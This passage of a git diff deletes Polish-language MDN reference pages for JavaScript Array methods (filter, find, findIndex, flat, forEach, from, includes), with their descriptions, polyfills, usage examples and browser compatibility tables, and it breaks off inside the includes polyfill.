Jeśli parametr thisObject został dostarczony do metody filter, będzie on wskazywany przez this dla każdego wywołania funkcjicallback. W przypadku gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

- -

Metoda filter nie modyfikuje tablicy, na której jest wywoływana.

- -

Zakres elementów przetwarzanych przez filter jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do tablicy po momencie wywołania filter są testowane przez callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym filter się o nie zwróci; metoda filter nie upomina się o elementy usunięte.

- -

Kompatybilność

- -

filter jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie filter w implementacji ECMA-262, które nie wspierają tego natywnie.

- -
if (!Array.prototype.filter)
-{
-  Array.prototype.filter = function(fun /*, thisp*/)
-  {
-    var len = this.length;
-    if (typeof fun != "function")
-      throw new TypeError();
-
-    var res = new Array();
-    var thisp = arguments[1];
-    for (var i = 0; i < len; i++)
-    {
-      if (i in this)
-      {
-        var val = this[i]; // in case fun mutates this
-        if (fun.call(thisp, val, i, this))
-          res.push(val);
-      }
-    }
-
-    return res;
-  };
-}
-
- -

Przykłady

- -

Przykład: Odfiltrowanie wszystkich małych wartości

- -

Poniższy przykład używa filter by utworzyć przefiltrowaną tablicę, z której usunięto wszystkie elementy których wartość wynosi mniej niż 10.

- -
function isBigEnough(element, index, array) {
-  return (element >= 10);
-}
-filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
-
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}{{CompatIE("9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/find/index.html b/files/pl/web/javascript/referencje/obiekty/array/find/index.html deleted file mode 100644 index 6e8d67373b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/find/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: Array.prototype.find() -slug: Web/JavaScript/Referencje/Obiekty/Array/find -tags: - - Array - - ECMAScript 2015 - - JavaScript - - Metodă - - Prototype - - Referencja - - Tablica - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/find ---- -

{{JSRef}}
- Metoda find() zwraca pierwszy element tablicy, który spełnia warunek podanej funkcji testującej.

- -
{{EmbedInteractiveExample("pages/js/array-find.html","shorter")}}
- - - - - -

Składnia

- -
arr.find(callback[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja do wykonania przy każdym elemencie tablicy, przyjmująca trzy wartości: -
-
element
-
Element obecnie przetwarzany przez funkcję.
-
index
-
Indeks obecnie przetwarzanego elementu.
-
array
-
Tablica, na której wywołano funkcję find.
-
-
-
thisArg
-
Opcjonalny. Obiekt, który będzie się znajdował pod this w czasie wykonywania funkcji callback.
-
- -

Zwracana wartość

- -

Wartość pierwszego elementu w tablicy, spełniającego warunek funkcji testującej.
- W przeciwnym wypadku: {{jsxref("undefined")}}.

- -

Opis

- -

Metoda find wywołuje funkcję callback raz dla każdego indeksu tablicy, dopóki nie znajdzie takiego elementu, dla którego callback zwraca wartość true. Wówczas find natychmiast zwraca wartość tego elementu. W przeciwnym razie, gdy żaden z elementów nie spełni warunków funkcji testującej, find zwraca {{jsxref("undefined")}}.

- -

callback jest wywoływany dla każdego indeksu tablicy, nie tylko tych z przypisanymi wartościami. Oznacza to, że może to być mniej efektywne w przypadku tablic rzadkich, w porównaniu z metodami, które odwiedzają jedynie indeksy z przypisanymi wartościami.

- -

Jeśli parametr thisArgjest przekazany do find, będzie użyty jako wartość this w każdym wywołaniu callback. Jeśli parametr ten nie jest przekazany, używana jest wartość {{jsxref("undefined")}}.

- -

Metoda find nie modyfikuje tablicy, na której jest wywoływana, ale może to robić funkcja przekazana do callback. Jeśli tak się stanie, elementy przetwarzane przez find są ustawiane przed pierwszym wywołaniem funkcji callback. Zatem:

- - - -

Polyfill

- -

Metoda ta została dodana do specyfikacji ECMAScript 2015 i może nie być jeszcze dostępna we wszystkich implementacjach języka JavaScript.  Niemniej jednak, możesz użyć polyfillArray.prototype.find z poniższym fragmentem kodu:

- -
// https://tc39.github.io/ecma262/#sec-array.prototype.find
-if (!Array.prototype.find) {
-  Object.defineProperty(Array.prototype, 'find', {
-    value: function(predicate) {
-      // 1. Let O be ? ToObject(this value).
-      if (this == null) {
-        throw TypeError('"this" is null or not defined');
-      }
-
-      var o = Object(this);
-
-      // 2. Let len be ? ToLength(? Get(O, "length")).
-      var len = o.length >>> 0;
-
-      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
-      if (typeof predicate !== 'function') {
-        throw TypeError('predicate must be a function');
-      }
-
-      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
-      var thisArg = arguments[1];
-
-      // 5. Let k be 0.
-      var k = 0;
-
-      // 6. Repeat, while k < len
-      while (k < len) {
-        // a. Let Pk be ! ToString(k).
-        // b. Let kValue be ? Get(O, Pk).
-        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
-        // d. If testResult is true, return kValue.
-        var kValue = o[k];
-        if (predicate.call(thisArg, kValue, k, o)) {
-          return kValue;
-        }
-        // e. Increase k by 1.
-        k++;
-      }
-
-      // 7. Return undefined.
-      return undefined;
-    },
-    configurable: true,
-    writable: true
-  });
-}
-
- -

Jeśli potrzebujesz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierająt Object.defineProperty, najlepiej w ogóle nie używać polyfill z Array.prototype, gdyż nie da się go uczynić niewyliczeniowym.

- -

Przykłady

- -

Wyszukiwanie obiektu w tablicy na podstawie jednej z jego własności

- -
const inventory = [
-  {name: 'apples', quantity: 2},
-  {name: 'bananas', quantity: 0},
-  {name: 'cherries', quantity: 5}
-];
-
-function isCherries(fruit) {
-  return fruit.name === 'cherries';
-}
-
-console.log(inventory.find(isCherries));
-// { name: 'cherries', quantity: 5 }
- -

Użycie funkcji strzałkowej i destrukturyzacja

- -
const inventory = [
-  {name: 'apples', quantity: 2},
-  {name: 'bananas', quantity: 0},
-  {name: 'cherries', quantity: 5}
-];
-
-const result = inventory.find( ({ name }) => name === 'cherries' );
-
-console.log(result) // { name: 'cherries', quantity: 5 }
- -

Wyszukiwanie liczby pierwszej w tablicy

- -

Poniższy przykładowy kod znajduje element tablicy będący liczbą pierwszą (lub zwraca {{jsxref("undefined")}} jeśli w tablicy nie ma liczby pierwszej):

- -
function czyPierwsza(element, indeks, tablica) {
-  let start = 2;
-  while (start <= Math.sqrt(element)) {
-    if (element % start++ < 1) {
-      return false;
-    }
-  }
-  return element > 1;
-}
-
-console.log([4, 6, 8, 12].find(czyPierwsza)); // undefined, nie znaleziono
-console.log([4, 5, 8, 12].find(czyPierwsza)); // 5
-
- -

Poniższy przykład pokazuje, że nieistniejące i usunięte elementy odwiedzane, oraz że wartość przekazana do callback jest ich wartością, kiedy są odwiedzane:

- -
// Zadeklaruj tablicę bez elementów przy indeksach 2, 3 i 4
-const array = [0,1,,,,5,6];
-
-// Pokazuje wszystkie indeksy, nie tylko te z przypisanymi wartościami
-array.find(function(value, index) {
-  console.log('Odwiedzono indeks ', index, ' z wartością ', value);
-});
-
-// Pokazuje wszystkie indeksy, włączając usunięte
-array.find(function(value, index) {
-  // Usuń element 5 w pierwszej iteracji
-  if (index === 0) {
-    console.log('Usuwanie array[5] z wartością ', array[5]);
-    delete array[5];
-  }
-  // Element 5 jest wciąż odwiedzany, choć został usunięty
-  console.log('Odwiedzono indeks ', index, ' z wartością ', value);
-});
-// Oczekiwane wyjście:
-// Usuwanie array[5] z wartością 5
-// Odwiedzono indeks 0 z wartością 0
-// Odwiedzono indeks 1 z wartością 1
-// Odwiedzono indeks 2 z wartością undefined
-// Odwiedzono indeks 3 z wartością undefined
-// Odwiedzono indeks 4 z wartością undefined
-// Odwiedzono indeks 5 z wartością undefined
-// Odwiedzono indeks 6 z wartością 6
-
- -

Specyfikacje

- - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ES2015')}}Pierwotna definicja.
- -

Wsparcie przeglądarek

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("45.0")}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("7.1")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}{{CompatNo}}iOS 8
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html b/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html deleted file mode 100644 index 86a9cf67cf..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/findindex/index.html +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Array.prototype.findIndex() -slug: Web/JavaScript/Referencje/Obiekty/Array/findIndex -translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex ---- -
{{JSRef}}
- -

Metoda findIndex() zwraca indeks pierwszego elementu tablicy, który spełnia kryteria postawione w funkcji testującej. W przeciwnym wypadku zwraca -1.

- -
function isBigEnough(element) {
-  return element >= 15;
-}
-
-[12, 5, 8, 130, 44].findIndex(isBigEnough);
-// zostanie zwrócony indeks czwartego elementu tablicy,
-// który wynosi 3
- -

Zobacz także metodę {{jsxref("Array.find", "find()")}}, która zwraca wartość znalezionego elementu, zamiast jego indeksu.

- -

Składnia

- -
arr.findIndex(callback[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja wywoływana dla każdej wartości w tablicy, bierze trzy argumenty:
-
-
-
element
-
Obecnie przetwarzany element z tablicy.
-
index
-
Indeks obecnie przetwarzanego elementu z tablicy.
-
array
-
Tablica, na której została wywołana funkcja findIndex.
-
-
-
thisArg
-
Opcjonalny.  Obiekt do użycia jako this w czasie wykonywania callback.
-
- -

Zwracana wartość

- -

Indeks elementu tablicy, który pomyślnie przeszedł test, jeśli taki nie zostanie znaleziony, zwraca -1.

- -

Opis

- -

Metoda findIndex wykonuje funkcję callback dla każdego indeksu tablicy 0..długość - 1 (włącznie) w tablicy dopóki nie znajdzie tego, na którym funkcja callback zwróci prawdę. Jeśli taki element zostanie znaleziony, findIndex natychmiast zwraca indeks dla tej iteracji. Jeśli callback nigdy nie zwróci prawdy lub wielkość tablicy wynosi 0, findIndex zwróci -1. W przeciwieństwie do innych metod tablicowych takich jak Array#some, w tablicach rzadkich callback jest wywoływany nawet dla indeksów niewystępujących w tablicy.

- -

callback jest wywoływany z trzema argumentami: wartością elementu, indeksem elementu i przetwarzaną tablicą.

- -

Jeśli thisArg jest dołączony do findIndex, zostanie użyty jako this dla każdego wywołania . Jeśli nie, zostanie użyte {{jsxref("undefined")}}.

- -

findIndex nie zmienia tablicy na której jest wywoływany.

- -

Zakres elementów przetwarzanych przez findIndex jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy, które są dodane po rozpoczęciu wywołania funkcji findIndex nie będą przetworzone przez callback. Jeśli istniejący, nieodwiedzony element tablicy zostanie zmieniony przez callback, jego wartość przekazana do odwiedzającego callback będzie tą wartością z momentu, w którym findIndex odwiedzi indeks tego elementu, elementy usunięte, nie będą odwiedzone.

- -

Przykłady

- -

Znajdź indeks liczby pierwszej w tablicy

- -

Poniższy przykład znajduje indeks elementu w tablicy, który jest liczbą pierwszą (lub zwraca -1 jeśli nie w tablicy nie ma liczby pierwszej).

- -
function isPrime(element, index, array) {
-  var start = 2;
-  while (start <= Math.sqrt(element)) {
-    if (element % start++ < 1) {
-      return false;
-    }
-  }
-  return element > 1;
-}
-
-console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, nie znaleziono
-console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
-
- -

Polyfill

- -
// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
-if (!Array.prototype.findIndex) {
-  Object.defineProperty(Array.prototype, 'findIndex', {
-    value: function(predicate) {
-     // 1. Let O be ? ToObject(this value).
-      if (this == null) {
-        throw new TypeError('"this" ma wartość null lub undefined');
-      }
-
-      var o = Object(this);
-
-      // 2. Niech len będzie ? ToLength(? Get(O, "length")).
-      var len = o.length >>> 0;
-
-      // 3. Jeśli IsCallable(predicate) jest fałszem, rzuć wyjątek TypeError.
-      if (typeof predicate !== 'function') {
-        throw new TypeError('predykat musi być funkcją');
-      }
-
-      // 4. Jeśli thisArg został podany, niech T będzie thisArg; w przeciwnym wypadku, niech T będzie undefined.
-      var thisArg = arguments[1];
-
-      // 5. Let k be 0.
-      var k = 0;
-
-      // 6. Powtarzaj, dopóki k < len
-      while (k < len) {
-        // a. Niech Pk będzie ! ToString(k).
-        // b. Niech kValue będzie ? Get(O, Pk).
-        // c. Niech testResult będzie ToBoolean(? Call(predicate, T, « kValue, k, O »)).
-        // d. Jeśli testResult jest prawdą, zwróć k.
-        var kValue = o[k];
-        if (predicate.call(thisArg, kValue, k, o)) {
-          return k;
-        }
-        // e. Zwiększ wartość k o 1.
-        k++;
-      }
-
-      // 7. Return -1.
-      return -1;
-    }
-  });
-}
-
- -

Jeśli musisz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierają Object.defineProperty, najlepiej nie korzystać z metod Array.prototype  w ogóle, ponieważ nie można sprawić by były niepoliczalne.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}{{Spec2('ES2015')}}Podstawowa definicja.
{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}TakTak{{CompatSafari("7.1")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}45.0{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}{{CompatNo}}8.0
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/flat/index.html b/files/pl/web/javascript/referencje/obiekty/array/flat/index.html deleted file mode 100644 index 3c8de3a43c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/flat/index.html +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Array.prototype.flat() -slug: Web/JavaScript/Referencje/Obiekty/Array/flat -translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat ---- -
{{JSRef}}
- -
- -

Metoda flat() tworzy nową tablicę ze wszystkich elementów, które są podtablicami, łącząc je rekursyjnie z podanym parametrem jak głęboko powinno nastąpić spłaszczenie.

- - - - - -

Składnia

- -
var newArray = arr.flat([depth]);
- -

Parametry

- -
-
depth {{optional_inline}}
-
Parametr ten określa jak głęboko zagnieżdżona tablica powinna być spłaszczona. Wartość domyślna to 1.
-
- -

Zwracana wartość

- -

Nowa tablica składająca się z połączonych elementów podtablic.

- -

Przykłady

- -

Spłaszczanie zagnieżdżonych tablic

- -
var arr1 = [1, 2, [3, 4]];
-arr1.flat();
-// [1, 2, 3, 4]
-
-var arr2 = [1, 2, [3, 4, [5, 6]]];
-arr2.flat();
-// [1, 2, 3, 4, [5, 6]]
-
-var arr3 = [1, 2, [3, 4, [5, 6]]];
-arr3.flat(2);
-// [1, 2, 3, 4, 5, 6]
-
- -

Spłaszczanie i puste miejsca tablicy

- -

Metoda flat() usuwa puste miejsca w tablicy:

- -
var arr4 = [1, 2, , 4, 5];
-arr4.flat();
-// [1, 2, 4, 5]
-
- -

Alternatywa

- -

reduce i concat

- -
var arr1 = [1, 2, [3, 4]];
-arr1.flat();
-
-//to flat single level array
-arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4]
-
-//or
-const flatSingle = arr => [].concat(...arr);
-
- - - -
//to enable deep level flatten use recursion with reduce and concat
-var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
-
-function flattenDeep(arr1) {
-   return arr1.reduce((acc, val) => Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
-}
-flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
-
- - - -
//non recursive flatten deep using a stack
-var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
-function flatten(input) {
-  const stack = [...input];
-  const res = [];
-  while (stack.length) {
-    // pop value from stack
-    const next = stack.pop();
-    if (Array.isArray(next)) {
-      // push back array items, won't modify the original input
-      stack.push(...next);
-    } else {
-      res.push(next);
-    }
-  }
-  //reverse to restore input order
-  return res.reverse();
-}
-flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
-
- - - -
//recursive flatten deep
-function flatten(array) {
-  var flattend = [];
-  !(function flat(array) {
-    array.forEach(function(el) {
-      if (Array.isArray(el)) flat(el);
-      else flattend.push(el);
-    });
-  })(array);
-  return flattend;
-}
-
- - - -

Polyfill

- -
if (!Array.prototype.flat) {
-  Array.prototype.flat = function(depth) {
-    var flattend = [];
-    (function flat(array, depth) {
-      for (let el of array) {
-        if (Array.isArray(el) && depth > 0) {
-          flat(el, depth - 1);
-        } else {
-          flattend.push(el);
-        }
-      }
-    })(this, Math.floor(depth) || 1);
-    return flattend;
-  };
-}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
Array.prototype.flat proposalFinished (4)
- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.Array.flat")}}

-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html deleted file mode 100644 index 6968498311..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Array.prototype.forEach() -slug: Web/JavaScript/Referencje/Obiekty/Array/forEach -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Podsumowanie

- -

Wykonuje dostarczoną funkcję jeden raz na każdy element tablicy.

- -

Składnia

- -
arr.forEach(callback[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja wykonywana dla każdego elementu.
-
thisArg
-
Obiekt na który będzie wskazywał this, gdy wykonana zostanie funkcja zwrotna callback.
-
- -

Opis

- -

Metoda forEach wykonuje dostarczoną funkcje callback raz dla każdego elementu tablicy. Funkcja callback wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.

- -

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

- -

Jeśli parametr thisArg został dostarczony do metody forEach, będzie on wskazywany przez this dla każdego wywołania funkcji callback. W przypadku, gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

- -

Metoda forEach nie modyfikuje tablicy na której jest wywołana.

- -

Zakres elementów przetwarzanych przez forEach jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do końca tablicy po momencie wywołania forEach nie są przesyłane do funkcji callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym forEach się o nie zwróci; elementy usunięte zanim zostaną odwiedzone nie zostaną odwiedzone. Jeżeli element już odwiedzony zostanie usunięty (nastąpi skrócenie tablicy), element tablicy w kolejności po obecnie odwiedzanym zostanie pominięty.

- -

Kompatybilność

- -

forEach jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie forEach w implementacji ECMA-262, które nie wspierają tego natywnie.

- -
if (!Array.prototype.forEach)
-{
-  Array.prototype.forEach = function(fun /*, thisp*/)
-  {
-    var len = this.length;
-    if (typeof fun != "function")
-      throw new TypeError();
-
-    var thisp = arguments[1];
-    for (var i = 0; i < len; i++)
-    {
-      if (i in this)
-        fun.call(thisp, this[i], i, this);
-    }
-  };
-}
-
- -

Przykłady

- -

Przykład: Drukowanie zawartości tablicy

- -

Następujący kod drukuje linie dla każdego elementu w tablicy (i przyjmuje obecność funkcji print do wywołania!):

- -
function printElt(element, index, array) {
-    print("[" + index + "] jest " + element);
-}
-[2, 5, 9].forEach(printElt);
-// Wydrukuje:
-// [0] jest 2
-// [1] jest 5
-// [2] jest 9
-
- -

Przykład: Drukowanie zawartości tablicy z metodą obiektu

- -

Następujący kod tworzy prosty obiekt wypisujący i następnie stosuje metodę writeln do wypisania jednej linii na element w tablicy (przyjmuje obecność funkcji print do wywołania!):

- -
var writer = {
-    sb:       [],
-    write:    function (s) {
-        this.sb.push(s);
-    },
-    writeln:  function (s) {
-        this.write(s + "\n");
-    },
-    toString: function () {
-        return this.sb.join("");
-    }
-};
-
-[2, 5, 9].forEach(writer.writeln, writer);
-print(writer.toString());
-
-// Wydrukuje:
-// 2
-// 5
-// 9
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/from/index.html b/files/pl/web/javascript/referencje/obiekty/array/from/index.html deleted file mode 100644 index bd5f0294de..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/from/index.html +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: Array.from() -slug: Web/JavaScript/Referencje/Obiekty/Array/from -translation_of: Web/JavaScript/Reference/Global_Objects/Array/from ---- -
{{JSRef}}
- -

Array.from()  metoda tworzy nową instację tablicy z obiektu podobnego do tablicy lub obiektu iterowalnego.

- -

W ES2015, składania klas dopuszcza dziedziczenie obu rodzajów klas: wbudowanych oraz zdefiniowanych przez programistę; w rezultacie, statyczne metody jak Array.from są "dziedziczone" przez klasę pochodną i tworzą nową instancję klasy pochodnej, a nie klasy Array.

- -

Składnia

- -
Array.from(arrayLike[, mapFn[, thisArg]])
-
- -

Argumenty

- -
-
arrayLike
-
Obiekt podobny do tablicy lub iterowalny.
-
mapFn
-
Opcjonalny. Funkcja mapująca wywoływany z każdym elementem tablicy.
-
thisArg
-
Opcjonalny. Wartość używana jako this podczas wykonywania mapFn.
-
- -

Opis

- -

Array.from() pozwala tworzyć tablicę z:

- - - -

Array.from() has an optional parameter mapFn, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly, Array.from(obj, mapFn, thisArg) is the same as Array.from(obj).map(mapFn, thisArg), except that it does not create an intermediate array. This is especially important for certain array subclasses, like typed arrays, since the intermediate array would necessarily have values truncated to fit into the appropriate type.

- -

The length property of the from() method is 1.

- -

Przykłady

- -
// Array-like object (arguments) to Array
-function f() {
-  return Array.from(arguments);
-}
-
-f(1, 2, 3);
-// [1, 2, 3]
-
-
-// Any iterable object...
-// Set
-var s = new Set(["foo", window]);
-Array.from(s);
-// ["foo", window]
-
-
-// Map
-var m = new Map([[1, 2], [2, 4], [4, 8]]);
-Array.from(m);
-// [[1, 2], [2, 4], [4, 8]]
-
-
-// String
-Array.from("foo");
-// ["f", "o", "o"]
-
-
-// Using an arrow function as the map function to
-// manipulate the elements
-Array.from([1, 2, 3], x => x + x);
-// [2, 4, 6]
-
-
-// Generate a sequence of numbers
-Array.from({length: 5}, (v, k) => k);
-// [0, 1, 2, 3, 4]
-
-
- -

Polyfill

- -

Array.from was added to the ECMA-262 standard in the 6th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of Array.from in implementations that don't natively support it.  This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming Object and TypeError have their original values and that callback.call evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.

- -
// Production steps of ECMA-262, Edition 6, 22.1.2.1
-// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
-if (!Array.from) {
-  Array.from = (function () {
-    var toStr = Object.prototype.toString;
-    var isCallable = function (fn) {
-      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
-    };
-    var toInteger = function (value) {
-      var number = Number(value);
-      if (isNaN(number)) { return 0; }
-      if (number === 0 || !isFinite(number)) { return number; }
-      return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number));
-    };
-    var maxSafeInteger = Math.pow(2, 53) - 1;
-    var toLength = function (value) {
-      var len = toInteger(value);
-      return Math.min(Math.max(len, 0), maxSafeInteger);
-    };
-
-    // The length property of the from method is 1.
-    return function from(arrayLike/*, mapFn, thisArg */) {
-      // 1. Let C be the this value.
-      var C = this;
-
-      // 2. Let items be ToObject(arrayLike).
-      var items = Object(arrayLike);
-
-      // 3. ReturnIfAbrupt(items).
-      if (arrayLike == null) {
-        throw new TypeError("Array.from requires an array-like object - not null or undefined");
-      }
-
-      // 4. If mapfn is undefined, then let mapping be false.
-      var mapFn = arguments.length > 1 ? arguments[1] : void undefined;
-      var T;
-      if (typeof mapFn !== 'undefined') {
-        // 5. else
-        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
-        if (!isCallable(mapFn)) {
-          throw new TypeError('Array.from: when provided, the second argument must be a function');
-        }
-
-        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
-        if (arguments.length > 2) {
-          T = arguments[2];
-        }
-      }
-
-      // 10. Let lenValue be Get(items, "length").
-      // 11. Let len be ToLength(lenValue).
-      var len = toLength(items.length);
-
-      // 13. If IsConstructor(C) is true, then
-      // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.
-      // 14. a. Else, Let A be ArrayCreate(len).
-      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
-
-      // 16. Let k be 0.
-      var k = 0;
-      // 17. Repeat, while k < len… (also steps a - h)
-      var kValue;
-      while (k < len) {
-        kValue = items[k];
-        if (mapFn) {
-          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
-        } else {
-          A[k] = kValue;
-        }
-        k += 1;
-      }
-      // 18. Let putStatus be Put(A, "length", len, true).
-      A.length = len;
-      // 20. Return A.
-      return A;
-    };
-  }());
-}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome("45")}}{{CompatGeckoDesktop("32")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}9.0
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("32")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/includes/index.html b/files/pl/web/javascript/referencje/obiekty/array/includes/index.html deleted file mode 100644 index 526e660571..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/includes/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Array.prototype.includes() -slug: Web/JavaScript/Referencje/Obiekty/Array/includes -translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes ---- -
{{JSRef}}
- -

Metoda includes() ustala czy dana tablica posiada szukany element, zwracając true lub false.

- -

Składnia

- -
var boolean = array.includes(searchElement[, fromIndex])
- -

Zwraca

- -

{{jsxref("Boolean")}}.

- -

Parametry

- -
-
searchElement
-
Szukany element.
-
fromIndex
-
Opcjonalne. Jest to pozycja w tablicy, od której rozpoczyna się szukanie elementu searchElement. Ujemna wartość przeszukuje tablicę od końca tablicy. Domyślna wartość wynosi 0.
-
- -

Przykłady

- -
[1, 2, 3].includes(2);     // true
-[1, 2, 3].includes(4);     // false
-[1, 2, 3].includes(3, 3);  // false
-[1, 2, 3].includes(3, -1); // true
-[1, 2, NaN].includes(NaN); // true
-
- -

Polyfill

- -
if (!Array.prototype.includes) {
-  Array.prototype.includes = function(searchElement /*, fromIndex*/ ) {
-    'use strict';
-    var O = Object(this);
-    var len = parseInt(O.length) || 0;
-    if (len === 0) {
-      return false;
-    }
